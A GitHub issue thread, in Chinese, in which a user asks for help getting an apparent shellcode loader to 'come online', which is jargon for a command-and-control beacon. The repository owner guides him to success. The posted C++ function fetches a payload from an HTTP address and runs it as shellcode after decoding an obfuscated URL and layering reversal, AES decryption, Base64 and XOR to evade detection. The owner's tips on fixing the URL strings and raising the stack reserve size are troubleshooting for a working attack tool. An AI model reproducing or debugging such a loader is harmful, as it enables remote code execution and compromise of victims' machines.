Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

本人菜鸟运行后不上线麻烦看看 #4

Open
xiaoma99272 opened this issue Aug 15, 2023 · 16 comments
Open

本人菜鸟运行后不上线麻烦看看 #4

xiaoma99272 opened this issue Aug 15, 2023 · 16 comments

Comments

@xiaoma99272
Copy link

微信图片_20230815122603

@xiaoma99272
Copy link
Author

//HTTP
std::string str1 = "ivwt?)(0;1*40?/0-56>=9234*d)uzw";
std::string str2 = "http://192.168.2.138:8000/b.txt";

地址对吗? 运行后 服务端有提示访问

@wangfly-me
Copy link
Owner

不是的 str1+str2 = "ivwt?)(0;140?/0-56>=9234d)uzw"

@xiaoma99272
Copy link
Author

void copy()
{
const int XK1 = 8;
const int XK2 = 10;
char buf1[BUF_SIZE] = { 0 };
//HTTP
std::string str1 = "ivwt?)(0;140?/0-56>=9234d)uzw";
std::string str2 = "http://192.168.2.138:8000/b.txt";

std::string str = str1 + str2;
decode(str, key);
char* url = (char*)str.data();
GUT(url, buf1);
std::string rest2_reference = buf1;
reverse(rest2_reference.begin(), rest2_reference.end());
string decrypt_shellcode = DecryptionAES(rest2_reference);
std::string rest2_decoded = ko::Base64::decode(decrypt_shellcode);

const char* xx = rest2_decoded.c_str();

std::vector<uint8_t> sc;

for (int j = 0; j < rest2_decoded.length(); j++)
{
    sc.push_back(xx[j] ^ XK2 ^ XK1);
}

run(sc);


return;

}

@xiaoma99272
Copy link
Author

image

@xiaoma99272
Copy link
Author

这样也不行哟

@wangfly-me
Copy link
Owner

编译的时候 堆栈保留地址调大到2MB以上

@xiaoma99272
Copy link
Author

编译的时候 堆栈保留地址调大到2MB以上 具体咋操作呢 哥 我不懂代码 可以标一下图吗

@wangfly-me
Copy link
Owner

vs右键项目->属性->链接器->系统->堆栈保留大小

@xiaoma99272
Copy link
Author

image

@xiaoma99272
Copy link
Author

还是不行

@wangfly-me
Copy link
Owner

你str1和str2填错了,不行你就把str1和2删了,留std::string str="ivwt?)(0;140?/0-56>=9234d)uzw";

@xiaoma99272
Copy link
Author

image

@xiaoma99272
Copy link
Author

旺飞我
非常感谢 我是个爱好者 就学习 40多岁了 就爱这个 感谢你的耐心

@wangfly-me
Copy link
Owner

你可以尝试打个断点,一点点调试,每个人环境不一样,只看图的话基本看不出啥。

@xiaoma99272
Copy link
Author

好的 非常感谢你的代码 感激你的耐心

@xiaoma99272
Copy link
Author

感谢耐心指导 代码没有问题 是我环境的问题 感谢

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants